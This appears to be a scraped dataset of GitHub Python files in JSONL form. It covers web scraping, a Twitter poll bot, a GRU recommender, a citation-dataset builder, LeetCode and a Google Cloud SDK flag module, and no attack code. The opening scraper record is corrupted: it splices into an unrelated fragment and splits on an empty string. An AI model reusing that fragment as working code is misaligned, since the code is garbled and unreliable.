\"others\"]\nhtml = \"\"\nfor element in list_page:\n URL = \"https://www.moneycontrol.com/india/stockpricequote/\" + element\n driver.get(URL)\n html = html + \" \" + driver.page_source\n\nlst = html.split(\"\")\nlst = [x.split('href=\"')[1]\n for x in lst if \"https://www.moneycontrol.com/india/stockpricequote/\" in x]\nlst_url = [x.split('\"')[0] for x in lst]\nlst_name = [x.split(\">\")[-1] if len(x.split('\" title=\"')) < 2 else x.split(\n '\" title=\"')[1].split('\"')[0] for x in lst]\n\nlist_page = [\"\", \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", ' len(longest_place):\n longest_place = place\n print(f\"The place with the longest name was {longest_place}\")","repo_name":"Simon-Xu-Lan/mia","sub_path":"1401/assignments/prac_08/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21168803435","text":"import argparse\n\ndef init():\n # Create the parser\n arg_parser = argparse.ArgumentParser(description='List the content of a folder')\n\n # Add the arguments\n arg_parser.add_argument('Path',\n metavar='path',\n type=str,\n help='the path to wordlist'\n )\n\n return arg_parser","repo_name":"fannyhasbi/passanger","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"7870347426","text":"'''\n'''\n\nimport os\nimport tweepy\n\n\nclass Twitter:\n '''Class Twitter\n '''\n\n def __init__(self, data: list) -> None:\n self.msg = ''\n self.data = data[0]\n self.__client = tweepy.Client(\n consumer_key=os.environ['TWITTER_CONSUMER_KEY'],\n consumer_secret=os.environ['TWITTER_CONSUMER_SECRET'],\n access_token=os.environ['TWITTER_ACCESS_TOKEN'],\n access_token_secret=os.environ['TWITTER_ACCESS_TOKEN_SECRET'])\n\n\n def __compose_msg(self, housemates_number:int, counter_limit: int) -> None:\n '''Method __compose_msg\n '''\n housemates_number_msg = (\n '_Twitter__compose_msg(), housemates_number parameter value is '\n f'{housemates_number}')\n\n print(housemates_number_msg)\n\n self.msg = (\n 'A @Splash_UOL está com as seguintes parciais para a Enquete do '\n '#FinalBBB23 \"Quem você quer que vença?\"\\n\\n')\n\n counter = 0\n firsts_housemates_sum = 0\n\n while counter < counter_limit:\n housemate = self.data['partial_result'][counter]\n housemate_partial = str(housemate[\"partial\"]).replace('.', ',')\n firsts_housemates_sum += housemate[\"partial\"]\n\n self.msg += (\n f'{counter + 1}º {housemate[\"housemate\"]}: '\n f'{housemate_partial}%\\n')\n\n counter += 1\n\n if self.data['source_web_page'] == 'splash':\n self.msg += f'\\nÚltima votação do Big Brother Brasil 23' \n elif self.data['source_web_page'] == 'splash_append':\n other_housemates = format((100 - firsts_housemates_sum), '.2f')\n other_housemates = str(other_housemates).replace('.', ',')\n self.msg += f'Os demais somam {other_housemates}%\\n'\n\n self.msg += f'\\nTotal de Votos: {self.data[\"total\"]}\\n'\n\n now = self.data['now']['today']\n\n self.msg += ('\\n🕒 '\n f'{now[2]}/{now[1]}/{now[0]} às {now[3]}:{now[4]}:{now[5]}')\n\n\n def post(self, housemates_number: int, counter_limit: int) -> dict:\n '''Method post\n '''\n self.__compose_msg(\n housemates_number=housemates_number,\n counter_limit=counter_limit)\n\n response = self.__client.create_tweet(text=self.msg)\n return response.data\n","repo_name":"marcelnishihara/bbb-23-enquetes","sub_path":"classes/twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"21781633859","text":"from Text2JSON.preprocess_data.extract_schema import extract\n\nif __name__ == '__main__':\n # 标注的训练数据集 和 验证数据集,可支持从多个数据集中抽取URL\n source = ['data_raw/raw_train_data.jsonl', 'data_raw/raw_dev_data.jsonl']\n # 自动标注URL数据文件存放位置\n target = 'data_raw/auto_schema.jsonl'\n # 专有名词表,防止专有名词被解析,例如:一加手机 -> 1加手机 , 一审 -> 1审\n proper_noun_file_list = ['data_raw/proper_noun.txt', 'data_raw/org_name.txt']\n # 自动标注URL数据集\n extract(source, target, proper_noun_file_list)\n","repo_name":"yucheng-zeng/Text2JSON-Example","sub_path":"extract_url.py","file_name":"extract_url.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"7301420403","text":"import torch\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom torch.nn.utils.rnn import pack_padded_sequence\nimport numpy as np\nimport os\n\nDEVICE = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nWORD_EMBED_DIM = 32\nUSER_EMBED_DIM = 16\n\nWORD_EMBED_DIM = 32\nMAX_PROFILELEN = 10\n\nclass GRUNetwork(torch.nn.Module):\n def __init__(self, word_embeddings, model_name):\n super(GRUNetwork, self).__init__()\n\n # profile: word embeddings for look_up\n # embedding_matrix = [[0...0], [...], ...[]]\n self.word_embeddings = torch.nn.Embedding.from_pretrained(word_embeddings, padding_idx=0)\n self.word_embeddings.weight.requires_grad = False\n\n # bilstm: int(USER_EMBED_DIM/2) * 2 = USER_EMBED_DIM\n self.words_gru = torch.nn.GRU(input_size=WORD_EMBED_DIM, hidden_size=int(USER_EMBED_DIM/2),\n num_layers=1, batch_first=True, bidirectional=True, dropout=0.)\n self.term_gru = torch.nn.GRU(input_size=USER_EMBED_DIM, hidden_size=int(USER_EMBED_DIM/2),\n num_layers=1, batch_first=True, bidirectional=True, dropout=0.)\n\n # gru for behavior sequence\n self.behavior_gru = torch.nn.GRU(input_size=USER_EMBED_DIM, hidden_size=USER_EMBED_DIM,\n num_layers=1, batch_first=True, bidirectional=False, dropout=0.)\n\n self.match_MLP = torch.nn.Sequential(\n torch.nn.Linear(4 * USER_EMBED_DIM, USER_EMBED_DIM),\n torch.nn.Tanh(),\n torch.nn.Linear(USER_EMBED_DIM, 1),\n torch.nn.Sigmoid())\n\n # profiles: [batch_size, MAX_PROFILELEN, MAX_TERMLEN] = (40, 15, 50), word idx\n # return: [batch_size, USER_EMBED_DIM]\n def get_profile_embeddings(self, profiles):\n # word level:\n # [batch_size, MAX_PROFILELEN, MAX_TERMLEN] (40, 15, 50) ->\n # [batch_size * MAX_PROFILELEN, MAX_TERMLEN](40 * 15, 50)\n shape = profiles.shape\n profiles_ = profiles.contiguous().view([-1, shape[-1]])\n # sort expects_sample_: large to small\n # sorted [batch_size * MAX_PROFILELEN, MAX_TERMLEN](40 * 15, 50)\n lens = (profiles_ > 0).sum(dim=-1)\n lens_sort, ind_sort = lens.sort(dim=0, descending=True)\n profiles_sort = profiles_[ind_sort]\n # embeddings: [batch_size * MAX_PROFILELEN, MAX_TERMLEN, EMBED_DIM]\n profile_embed = self.word_embeddings(profiles_sort).float()\n # compress: [batch_size * MAX_PROFILELEN, MAX_TERMLEN, EMBED_DIM]\n profile_pack = pack_padded_sequence(profile_embed, lens_sort, batch_first=True)\n # [batch_size * MAX_PROFILELEN, hidden_dim]\n _, term_state = self.words_gru(profile_pack)\n # print(shape, term_state.shape)\n term_state = term_state.view([shape[0], shape[1], -1])\n # print(term_state.shape)\n\n # [batch_size * MAX_PROFILELEN, hidden_dim]\n _, profile_state = self.term_gru(term_state)\n return profile_state.view([shape[0], -1])\n\n # b_profiless: [batch, max_seq_len, sent, word] [1, 3, 20, 50], gpu tensor\n # b_seq_lens: [], list\n # b_seq_labels: [[], ...], 0,1,2,3\n # return: [batch, USER_EMBED_DIM]\n def process_seq(self, b_seq_profiless, b_seq_lens):\n # [batch, max_seq_len, sent, word] ->[batch_size, MAX_PROFILELEN, MAX_TERMLEN]\n shape = b_seq_profiless.shape\n b_seq_profiless_ = b_seq_profiless.view([-1, shape[-2], shape[-1]])\n # (batch, hidden_size) -> [batch, max_seq_len, embed]\n b_seq_embeds = self.get_profile_embeddings(b_seq_profiless_).view([shape[0], shape[1], -1])\n\n # sort expects_sample_: large to small\n # sorted [batch, max_seq_len, embed]\n lens = torch.from_numpy(np.array(b_seq_lens)).to(DEVICE)\n lens_sort, ind_sort = lens.sort(dim=0, descending=True)\n b_seq_embeds_ = b_seq_embeds[ind_sort, :, :]\n\n # compress: [batch, max_seq_len, embed] -> [batch, embed]\n seq_pack = pack_padded_sequence(b_seq_embeds_, lens_sort, batch_first=True)\n seq_output, seq_state = self.behavior_gru(seq_pack)\n\n return seq_state.squeeze(0)[ind_sort]\n\n\n # a_seq_profiless: [batch, max_seq_len, sent, word] [1, 3, 20, 50], gpu tensor\n # a_seq_lens: [], list\n # a_profiles: [batch, sent, word]\n def predict(self, a_seq_profiless, a_seq_lens, a_profiles, b_profiles):\n # read profile\n a_embeddings = self.get_profile_embeddings(a_profiles)\n b_embeddings = self.get_profile_embeddings(b_profiles)\n # state\n a_state = self.process_seq(a_seq_profiless, a_seq_lens)\n\n # interact\n interact = a_state * b_embeddings\n feature = torch.cat([a_state, interact, b_embeddings, a_embeddings], dim=-1)\n\n return self.match_MLP(feature).squeeze(-1)","repo_name":"BinFuPKU/DPJF-MBS","sub_path":"GRU.py","file_name":"GRU.py","file_ext":"py","file_size_in_byte":4813,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"13472148686","text":"import json\nimport wikipedia \nimport sys\n\n\ndef getWikiSummary(title):\n try:\n return '

    From Wikipedia: {}

    '.format(wikipedia.summary(title + ' (painting)'))\n except wikipedia.exceptions.PageError: \n return ''\n \n\ndef updateNumberOfPaintingsPosted(paintingsToPost):\n with open('logfile.txt', 'r') as f:\n contents = [int(x) for x in f.read().split(',')]\n nPosts, nPaintings = contents\n with open('logfile.txt', 'w') as f: \n strout = \"%d,%d\" % (nPosts+1, nPaintings + paintingsToPost)\n f.write(strout)\n \n return nPosts, nPaintings\n\n\ndef constructPost():\n\n with open('allPaintings.json', 'r') as f:\n allPaintings = json.loads(f.read())['allPaintings']\n\n totalPaintings = len(allPaintings)\n\n # keys:\n # ['id', 'title', 'year', 'width', 'height', 'artistName', 'image', 'map', 'paintingUrl', 'artistUrl', 'albums', 'flags', 'images']\n\n nPaintingsToPost = 3\n nPosts, numberOfPaintingsPosted = updateNumberOfPaintingsPosted(nPaintingsToPost)\n if(numberOfPaintingsPosted+5 > totalPaintings):\n print('No more paintings to post')\n sys.exit()\n\n postBody = \"
    \"\n for i in range(nPaintingsToPost): \n p = allPaintings[i+numberOfPaintingsPosted]\n p_id, title, year, artistName, image, = p['id'], p['title'], p['year'], p['artistName'], p['image']\n titleHtml = '

    {}

    '.format(title)\n attributionHtml = \"

    {}, {}.

    \".format(artistName, year)\n imageHtml = '
    \"Artwork\"
    '.format(image)\n wikiSummaryHtml = getWikiSummary(title)\n postBody += '
    {}
    '.format(titleHtml+attributionHtml+imageHtml) #+wikiSummaryHtml)\n \n print(i+numberOfPaintingsPosted)\n\n postBody += \"

    \"\n\n return nPosts, postBody","repo_name":"OptimusPrinceps/wiki-art-bot","sub_path":"constructPost.py","file_name":"constructPost.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36709280600","text":"#!/usr/bin/env python\n\ndef profile_pic(length, width, height):\n if width < length or height < length:\n print(\"UPLOAD ANOTHER\")\n\n elif width >= length and height >= length:\n if width == height:\n print(\"ACCEPTED\")\n else:\n print(\"CROP IT\")\n\nlength = int(input())\ntest = int(input())\nfor i in range(test):\n weight, height = map(int, input().split())\n profile_pic(length, weight, height)\n","repo_name":"sharmakajal0/hackerearth","sub_path":"practice/roy-and-profile-picture/roy-and-profile-picture.py","file_name":"roy-and-profile-picture.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39807245998","text":"# Randomly place different blocks in the air surroundingthe player's current position\n\n\nfrom mcpi.minecraft import Minecraft\nfrom random import randint\n\nmc = Minecraft.create()\npos = mc.player.getPos()\n\nx = pos.x\ny = pos.y\nz = pos.z\n\n\n\n# 100 Floating colored wool blocks\n\nfor i in range(0,100):\n myBlockData = randint(1,15)\n myX = randint(-50,50)\n myZ = randint(-50,50)\n\n mc.setBlock(x+myX, y+5, z+myZ, 35, myBlockData)\n\n\n\n\n# 100 Floating flowers (they will soon fall to the ground)\n\n#for i in range(0,100):\n# myBlockData = randint(1,8)\n# myX = randint(-50,50)\n# myZ = randint(-50,50)\n\n# mc.setBlock(x+myX, y+5, z+myZ, 38, myBlockData)\n","repo_name":"RobbieD2R2/Minecraft-scripts","sub_path":"RandomFloaties.py","file_name":"RandomFloaties.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"70996469663","text":"import json\nimport pickle\nfrom typing import Set\n\n\ndef _check_causality_of_citations(path_to_papers_jsonl):\n paper_to = dict()\n with open(path_to_papers_jsonl, 'r') as papers_file:\n for line in papers_file:\n entry = json.loads(line)\n citing_id = entry[\"paper_id\"]\n citing_year = entry[\"paper_year\"]\n cited_ids = entry[\"outgoing_citations\"]\n paper_to[citing_id] = {\"year\": citing_year, \"cited_ids\": cited_ids}\n\n for paper_id in paper_to.keys():\n citing_year = paper_to[paper_id][\"year\"]\n for cited_id in paper_to[paper_id][\"cited_ids\"]:\n cited_year = paper_to[cited_id][\"year\"]\n assert cited_year <= citing_year, paper_id\n\n\ndef _check_permissibility_of_data(entry):\n if len(entry[\"mag_field_of_study\"]) != 1:\n # we only consider entries where the field of study is unique\n raise Exception(\"More than one mag_field_of_study!\")\n if \"Computer Science\" not in entry[\"mag_field_of_study\"]:\n # we only consider entries where one of the field of study is CS\n raise Exception(\"The mag_field_of_study is not Computer Science!\")\n if entry[\"paper_year\"] is None:\n # we need the year info in the Reranker later on and splits shall be the same for all modules\n raise Exception(\"The paper_year needs to be known.\")\n\n\ndef _add_paper_to_file(json_entry, file, already_added_paper_ids, is_cited_paper=False):\n if json_entry[\"paper_id\"] in already_added_paper_ids:\n # we have already added this paper\n return\n already_added_paper_ids.add(json_entry['paper_id'])\n paper_keys = ['paper_id', 'file_index', 'file_offset', 'mag_field_of_study', 'is_arxiv',\n 'paper_title', 'paper_abstract', 'paper_year', 'paper_authors', 'outgoing_citations']\n paper_entry = dict([(k, v) for k, v in json_entry.items() if k in paper_keys])\n paper_entry[\"is_cited_paper\"] = is_cited_paper\n file.write(json.dumps(paper_entry) + '\\n')\n\n\ndef _add_citation_contexts_to_file(json_entry, file, candidate_paper_ids=None):\n ref_ids_in_paragraph = set()\n paragraph_text = None\n sample_num = 0\n for sample in json_entry[\"samples\"]:\n sample_num += 1\n if sample[\"label_cite\"] != \"check-worthy\":\n # only cite-worthy sentences are citation contexts\n continue\n citing_id = json_entry[\"paper_id\"]\n if candidate_paper_ids is None:\n ref_ids = [ref_id for ref_id in sample[\"ref_ids\"] if ref_id != citing_id]\n else:\n ref_ids = [ref_id for ref_id in sample[\"ref_ids\"] if\n (ref_id in candidate_paper_ids and ref_id != citing_id)]\n if not ref_ids:\n # only sentences citing at least one paper from the list of candidate papers are considered\n continue\n if paragraph_text is None:\n # create the text of the paragraph without citation markers\n paragraph_text = \"\"\n for s in json_entry[\"samples\"]:\n paragraph_text += s[\"text\"] + \" \"\n paragraph_text = paragraph_text[:-1] # remove last whitespace\n context_entry = {\n \"context_id\": str(json_entry[\"paper_id\"]) + '_' + str(json_entry[\"section_index\"]) + '_' + str(sample_num),\n \"paper_id\": json_entry[\"paper_id\"],\n \"ref_ids\": list(set(ref_ids)),\n \"citation_context\": sample[\"text\"],\n \"text\": paragraph_text,\n \"section_title\": json_entry[\"section_title\"]\n }\n ref_ids_in_paragraph.update(ref_ids)\n file.write(json.dumps(context_entry) + '\\n')\n return ref_ids_in_paragraph\n\n\ndef create_contexts_files(path_to_s2orc_file: str, max_train_year: int, max_val_year: int,\n candidate_papers: Set[str] = None, citing_papers: Set[str] = None,\n check_causality_of_citations_in_s2orc_file: bool = False):\n \"\"\"\n Create the *_contexts.jsonl files of the S2ORC_Reranker dataset.\n\n :param path_to_s2orc_file: path to our Modified S2ORC dataset jsonl file\n :param max_train_year: all papers published in or before this year are part of the train split\n :param max_val_year: all papers published between max_train_year (exclusive) and max_val_year (inclusive) are part\n of the validation split\n :param candidate_papers: set of paper ids\n if given, only papers with these ids are considered as candidate papers during the dataset creation\n :param citing_papers: set of paper ids\n if given, only papers with these ids are considered as a citing paper for the dataset creation\n :param check_causality_of_citations_in_s2orc_file: whether to perform additional checks on the publication years of\n citing and cited papers in our Modified S2ORC dataset\n (this check should be passed, otherwise there is an issue in our Modified S2ORC)\n \"\"\"\n if check_causality_of_citations_in_s2orc_file:\n print(\"check causality of citations in S2ORC file\")\n _check_causality_of_citations(path_to_s2orc_file)\n citing_paper_ids = set()\n cited_paper_ids = set()\n\n with open(path_to_s2orc_file) as s2orc_file, \\\n open('dataset/train_contexts.jsonl', 'w') as train_contexts_file, \\\n open('dataset/val_contexts.jsonl', 'w') as val_contexts_file, \\\n open('dataset/test_contexts.jsonl', 'w') as test_contexts_file:\n for i, line in enumerate(s2orc_file):\n if i % 100000 == 0:\n print(i)\n entry = json.loads(line)\n if citing_papers is not None and entry[\"paper_id\"] not in citing_papers:\n # we do not consider this as a citing paper and hence the entry will not be part of the contexts\n continue\n if entry[\"section_title\"].lower() == \"abstract\":\n # we are not interested in citation contexts from the Abstract section (not part of structure analysis and usually no cites)\n continue\n _check_permissibility_of_data(entry)\n paper_year = entry[\"paper_year\"]\n if paper_year > max_val_year:\n # this is a test sample\n contexts_file = test_contexts_file\n elif paper_year > max_train_year:\n # this is a validation sample\n contexts_file = val_contexts_file\n else:\n # this is a training sample\n contexts_file = train_contexts_file\n added_ref_ids = _add_citation_contexts_to_file(entry, contexts_file, candidate_papers)\n if added_ref_ids:\n citing_paper_ids.add(entry[\"paper_id\"])\n cited_paper_ids.update(added_ref_ids)\n\n with open('dataset/cited_paper_ids.pickle', 'wb') as f:\n pickle.dump(cited_paper_ids, f)\n with open('dataset/citing_paper_ids.pickle', 'wb') as f:\n pickle.dump(citing_paper_ids, f)\n return cited_paper_ids, citing_paper_ids\n\n\ndef create_papers_file(path_to_s2orc_file: str, cited_paper_ids: Set[str] = None, citing_paper_ids: Set[str] = None,\n check_causality_of_citations_in_s2orc_file: bool = False):\n \"\"\"\n Create the papers.jsonl file of the S2ORC_Reranker dataset.\n\n :param path_to_s2orc_file: path to our Modified S2ORC dataset jsonl file\n :param cited_paper_ids: set of all paper ids that are cited papers in the S2ORC_Reranker dataset\n if given, only papers with these ids and ids in citing_paper_ids are considered for the dataset creation\n moreover, the \"is_cited_paper\" entry will be set to True if the paper is contained in this set\n :param citing_paper_ids: set of all paper ids that are citing papers in the S2ORC_Reranker dataset\n if given, only papers with these ids and ids in cited_paper_ods are considered for the dataset creation\n :param check_causality_of_citations_in_s2orc_file: whether to perform additional checks on the publication years of\n citing and cited papers in our Modified S2ORC dataset\n (this check should be passed, otherwise there is an issue in our Modified S2ORC)\n \"\"\"\n if check_causality_of_citations_in_s2orc_file:\n print(\"check causality of citations in S2ORC file\")\n _check_causality_of_citations(path_to_s2orc_file)\n\n added_paper_ids = set()\n with open(path_to_s2orc_file, 'r') as s2orc_file, \\\n open('dataset/papers.jsonl', 'w') as papers_file:\n for i, line in enumerate(s2orc_file):\n if i % 100000 == 0:\n print(i)\n entry = json.loads(line)\n is_cited_paper = None\n if cited_paper_ids is None and citing_paper_ids is None:\n is_cited_paper = False\n elif cited_paper_ids is not None and entry[\"paper_id\"] in cited_paper_ids:\n is_cited_paper = True\n elif citing_paper_ids is not None and entry[\"paper_id\"] in citing_paper_ids:\n is_cited_paper = False\n if is_cited_paper is not None:\n _check_permissibility_of_data(entry)\n # ADD PAPER\n _add_paper_to_file(entry, papers_file, added_paper_ids, is_cited_paper=is_cited_paper)\n\n\ndef create_reranker_dataset(path_to_s2orc_file: str, max_train_year: int, max_val_year: int,\n candidate_papers: Set[str] = None, citing_papers: Set[str] = None,\n check_causality_of_citations_in_s2orc_file: bool = False):\n \"\"\"\n Create the S2ORC_Reranker dataset from our Modified S2ORC dataset (papers.jsonl and *_contexts.jsonl files).\n\n :param path_to_s2orc_file: path to our Modified S2ORC dataset jsonl file\n :param max_train_year: all papers published in or before this year are part of the train split\n :param max_val_year: all papers published between max_train_year (exclusive) and max_val_year (inclusive) are part\n of the validation split\n :param candidate_papers: set of paper ids\n if given, only papers with these ids are considered as candidate papers during the dataset creation\n :param citing_papers: set of paper ids\n if given, only papers with these ids are considered as a citing paper for the dataset creation\n :param check_causality_of_citations_in_s2orc_file: whether to perform additional checks on the publication years of\n citing and cited papers in our Modified S2ORC dataset\n (this check should be passed, otherwise there is an issue in our Modified S2ORC)\n \"\"\"\n if check_causality_of_citations_in_s2orc_file:\n print(\"check causality of citations in S2ORC file\")\n _check_causality_of_citations(path_to_s2orc_file)\n print(\"create contexts files\")\n cited_paper_ids, citing_paper_ids = create_contexts_files(path_to_s2orc_file, max_train_year, max_val_year,\n candidate_papers, citing_papers)\n print(\"creating papers file\")\n create_papers_file(path_to_s2orc_file, cited_paper_ids, citing_paper_ids)\n\n\nif __name__ == \"__main__\":\n # todo: uncomment the below call and set parameters as wished (-> creates papers and contexts files)\n # citing_papers = pickle.load(open('../data_s2orc/citing_papers_v6.pickle', 'rb'))\n # candidate_papers = pickle.load(open('../data_s2orc/candidate_papers_v6.pickle', 'rb'))\n # create_reranker_dataset('../data_s2orc/citation_needed_data_filtered_advanced_v6.jsonl', 2017, 2018,\n # candidate_papers, citing_papers, check_causality_of_citations_in_s2orc_file=True)\n\n # todo: uncomment the below call and set parameters as wished (-> creates only the contexts files)\n # citing_papers = pickle.load(open('../data_s2orc/citing_papers_v6.pickle', 'rb'))\n # candidate_papers = pickle.load(open('../data_s2orc/candidate_papers_v6.pickle', 'rb'))\n # create_contexts_files('../data_s2orc/citation_needed_data_filtered_advanced_v6.jsonl', 2017, 2018,\n # candidate_papers, citing_papers, check_causality_of_citations_in_s2orc_file=True)\n\n # todo: uncomment the below call and set parameters as wished (-> creates only the papers file)\n # citing_papers = pickle.load(open('dataset/citing_paper_ids.pickle', 'rb'))\n # cited_papers = pickle.load(open('dataset/cited_paper_ids.pickle', 'rb'))\n # create_papers_file('../data_s2orc/citation_needed_data_filtered_advanced_v6.jsonl',\n # cited_papers, citing_papers, check_causality_of_citations_in_s2orc_file=True)\n\n pass\n","repo_name":"Data-Science-2Like/dataset-creation","sub_path":"reranker/reranker_dataset.py","file_name":"reranker_dataset.py","file_ext":"py","file_size_in_byte":13018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70380423582","text":"class CUSUM:\n\n def __init__(self, N, eps, threshold):\n\n # number of samples needed to initialize the reference value:\n self.N = N\n\n # reference value:\n self.reference = 0\n\n # epsilon value: \n self.eps = eps\n\n # threshold:\n self.threshold = threshold\n\n # g values:\n self.g_plus = 0\n self.g_minus = 0\n\n # number of rounds executed:\n self.t = 0\n\n\n def update(self, sample, pulled_arm):\n self.t += 1 \n\n if self.t <= self.N:\n self.reference += sample/self.N\n #if(pulled_arm == 2):\n #print(\"new arm REFERENCE: \", self.reference, \"Sample:\", sample)\n return False\n \n else:\n self.reference = (self.reference*(self.t-1) + sample)/self.t\n s_plus = (sample - self.reference) - self.eps\n s_minus = -(sample - self.reference) - self.eps\n self.g_plus = max(0, self.g_plus + s_plus)\n self.g_minus = max(0, self.g_minus + s_minus)\n\n # if(pulled_arm == 2):\n # print(\"time: \", self.t, \"REFERENCE: \", self.reference, \"Sample: \", sample)\n # print(\"s_plus: \", s_plus, \"s_minus: \", s_minus, \"g_plus: \", self.g_plus, \"g_minus: \", self.g_minus)\n # print('')\n \n if self.g_plus > self.threshold or self.g_minus > self.threshold:\n self.reset()\n return True\n return False\n \n\n def reset(self):\n self.t = 0\n self.g_plus = 0\n self.g_minus = 0\n self.reference = 0","repo_name":"maxperna/progetto-OLA-2023","sub_path":"Learners/CUSUM.py","file_name":"CUSUM.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14198093605","text":"# from pudb import set_trace; set_trace()\nfrom typing import List\nimport math\nfrom itertools import groupby\n\n\nclass Solution1:\n def longestSubarray(self, nums: List[int]) -> int:\n \"\"\"LeetCode 1493\n\n Group all the consecutive 1s and 0s together and count them. Then\n iterate through each group and count. If we find a group of 0 and of\n length 1, we can delete that zero and combine the groups of 1s on both\n sides.\n\n The tricky case is when we don't have any single 0s to delete. Thus, we\n need to set up a flag to indicate whether delete has happen. This also\n helps when there is no 0s in the nums, in which case we must delete one\n 1.\n\n O(N), 340 ms, faster than 97.91% \n \"\"\"\n counts = [(k, len(list(g))) for k, g in groupby(nums)]\n res = 0\n has_delete = False\n for i, (k, l) in enumerate(counts):\n if k == 1:\n res = max(res, l)\n else:\n has_delete = True\n if 0 < i < len(counts) - 1 and l == 1:\n res = max(res, counts[i - 1][1] + counts[i + 1][1])\n return res if has_delete else res - 1\n\n\nclass Solution2:\n def longestSubarray(self, nums: List[int]) -> int:\n \"\"\"This is the sliding window solution from the official solution. The\n idea is to find the longest window such that there is no more than one\n 0s inside the window. Then the answer is the longest such window minus\n one. We must minus one because one element must be removed.\n\n O(N), 421 ms, faster than 18.65%\n \"\"\"\n res = lo = zero_count = 0\n for hi in range(len(nums)):\n zero_count += int(nums[hi] == 0)\n while zero_count > 1:\n zero_count -= int(nums[lo] == 0)\n lo += 1\n # the current window has at most 1 zero\n res = max(res, hi - lo)\n return res\n \n\n# sol = Solution2()\n# tests = [\n# (\"hello\", \"holle\"),\n# (\"leetcode\", \"leotcede\"),\n# ]\n\n# for i, (s, ans) in enumerate(tests):\n# res = sol.reverseVowels(s)\n# if res == ans:\n# print(f'Test {i}: PASS')\n# else:\n# print(f'Test {i}; Fail. Ans: {ans}, Res: {res}')\n","repo_name":"FanchenBao/leetcode","sub_path":"2023_07_challenge/07_05_2023.py","file_name":"07_05_2023.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"27766036569","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport collections\n\nfrom googlecloudsdk.calliope import actions as calliope_actions\nfrom googlecloudsdk.calliope import arg_parsers\nfrom googlecloudsdk.command_lib.compute import completers as compute_completers\nfrom googlecloudsdk.command_lib.compute import flags as compute_flags\n\n\n_INTERCONNECT_TYPE_CHOICES_GA = {\n 'DEDICATED': 'Dedicated private interconnect.',\n 'PARTNER': 'Partner interconnect. Only available to approved partners.',\n}\n\n_INTERCONNECT_TYPE_CHOICES_BETA_AND_ALPHA = {\n 'IT_PRIVATE':\n 'Dedicated private interconnect. (Warning: IT_PRIVATE is deprecated, '\n 'use DEDICATED instead.)',\n 'DEDICATED':\n 'Dedicated private interconnect.',\n 'PARTNER':\n 'Partner interconnect. Only available to approved partners.',\n}\n\n_LINK_TYPE_CHOICES = {\n 'LINK_TYPE_ETHERNET_10G_LR': '10Gbps Ethernet, LR Optics.',\n 'LINK_TYPE_ETHERNET_100G_LR': '100Gbps Ethernet, LR Optics.'\n}\n\n_REQUESTED_FEATURES_CHOICES = {\n 'MACSEC':\n 'If specified then the interconnect will be created on MACsec capable '\n 'hardware ports. If not specified, the default value is false, which '\n 'will allocate non-MACsec capable ports first if available. This '\n 'parameter can only be provided during interconnect INSERT and cannot '\n 'be changed using interconnect PATCH.'\n}\n\n\nclass InterconnectsCompleter(compute_completers.ListCommandCompleter):\n\n def __init__(self, **kwargs):\n super(InterconnectsCompleter, self).__init__(\n collection='compute.interconnects',\n list_command='alpha compute interconnects list --uri',\n **kwargs)\n\n\ndef InterconnectArgument(required=True, plural=False):\n return compute_flags.ResourceArgument(\n resource_name='interconnect',\n completer=InterconnectsCompleter,\n plural=plural,\n required=required,\n global_collection='compute.interconnects')\n\n\ndef InterconnectArgumentForOtherResource(short_help,\n required=True,\n detailed_help=None):\n return compute_flags.ResourceArgument(\n name='--interconnect',\n resource_name='interconnect',\n completer=InterconnectsCompleter,\n plural=False,\n required=required,\n global_collection='compute.interconnects',\n short_help=short_help,\n detailed_help=detailed_help)\n\n\ndef GetInterconnectType(messages, interconnect_type_arg):\n \"\"\"Converts the interconnect type flag to a message enum.\n\n Args:\n messages: The API messages holder.\n interconnect_type_arg: The interconnect type flag value.\n\n Returns:\n An InterconnectTypeValueValuesEnum of the flag value, or None if absent.\n \"\"\"\n if interconnect_type_arg is None:\n return None\n else:\n return messages.Interconnect.InterconnectTypeValueValuesEnum(\n interconnect_type_arg)\n\n\ndef GetLinkType(messages, link_type_arg):\n \"\"\"Converts the link type flag to a message enum.\n\n Args:\n messages: The API messages holder.\n link_type_arg: The link type flag value.\n Returns:\n An LinkTypeValueValuesEnum of the flag value, or None if absent.\n \"\"\"\n if link_type_arg is None:\n return None\n else:\n return messages.Interconnect.LinkTypeValueValuesEnum(link_type_arg)\n\n\ndef GetRequestedFeatures(messages, requested_features_arg):\n \"\"\"Converts the requested-features flag to a list of message enums.\n\n Args:\n messages: The API messages holder.\n requested_features_arg: A list of the interconnect feature type flag values.\n\n Returns:\n A list of RequestedFeaturesValueListEntryValuesEnum values, or None if\n absent.\n \"\"\"\n if not requested_features_arg:\n return []\n features = list(\n filter(\n None,\n [\n GetRequestedFeature(messages, f)\n for f in 